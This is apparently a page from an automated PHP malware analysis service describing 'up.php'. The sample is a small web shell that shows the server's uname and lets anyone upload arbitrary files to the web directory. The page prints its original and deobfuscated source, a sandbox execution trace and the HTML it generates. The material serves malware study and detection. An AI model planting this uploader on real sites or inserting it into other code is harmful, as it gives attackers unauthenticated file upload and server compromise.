PHP Malware Analysis
up.php
md5: eb9ed4e08d34a8dd6a5d09bb88d39e25
Jump to:
- Deobfuscated code (Read more)
- Execution traces (Read more)
- Generated HTML (Read more)
- Original Code (Read more)
Screenshot
Attributes
Environment
- php_uname (Deobfuscated, Original, Traces)
Files
- copy (Deobfuscated, Original)
Input
- _FILES (Deobfuscated, Original)
- _POST (Deobfuscated, Original)
Deobfuscated PHP code
<?php
echo '<b>SecurityBus<br><br>' . php_uname() . '<br></b>';
echo "<form action=\"\" method=\"post\" enctype=\"multipart/form-data\" name=\"uploader\" id=\"uploader\">";
echo "<input type=\"file\" name=\"file\" size=\"50\"><input name=\"_upl\" type=\"submit\" id=\"_upl\" value=\"Upload\"></form>";
if ($_POST['_upl'] == "Upload") {
if (@copy($_FILES['file']['tmp_name'], $_FILES['file']['name'])) {
echo "<b>Upload Success !!!</b><br><br>";
} else {
echo "<b>Upload Fail !!!</b><br><br>";
}
}Execution traces
data/traces/eb9ed4e08d34a8dd6a5d09bb88d39e25_trace-1676258300.4539.xtVersion: 3.1.0beta2
File format: 4
TRACE START [2023-02-13 01:18:46.351815]
1 0 1 0.000238 393464
1 3 0 0.000300 395856 {main} 1 /var/www/html/uploads/up.php 0 0
2 4 0 0.000316 395856 php_uname 0 /var/www/html/uploads/up.php 2 0
2 4 1 0.000331 395968
2 4 R 'Linux osboxes 5.15.0-60-generic #66-Ubuntu SMP Fri Jan 20 14:29:49 UTC 2023 x86_64'
1 3 1 0.000369 395856
0.000396 314200
TRACE END [2023-02-13 01:18:46.352008]
Generated HTML code
<html><head></head><body><b>SecurityBus<br><br>Linux osboxes 5.15.0-60-generic #66-Ubuntu SMP Fri Jan 20 14:29:49 UTC 2023 x86_64<br></b><form action="" method="post" enctype="multipart/form-data" name="uploader" id="uploader"><input type="file" name="file" size="50"><input name="_upl" type="submit" id="_upl" value="Upload"></form></body></html>Original PHP code
<?php
echo '<b>SecurityBus<br><br>'.php_uname().'<br></b>';
echo '<form action="" method="post" enctype="multipart/form-data" name="uploader" id="uploader">';
echo '<input type="file" name="file" size="50"><input name="_upl" type="submit" id="_upl" value="Upload"></form>';
if( $_POST['_upl'] == "Upload" ) {
if(@copy($_FILES['file']['tmp_name'], $_FILES['file']['name'])) { echo '<b>Upload Success !!!</b><br><br>'; }
else { echo '<b>Upload Fail !!!</b><br><br>'; }
}
?>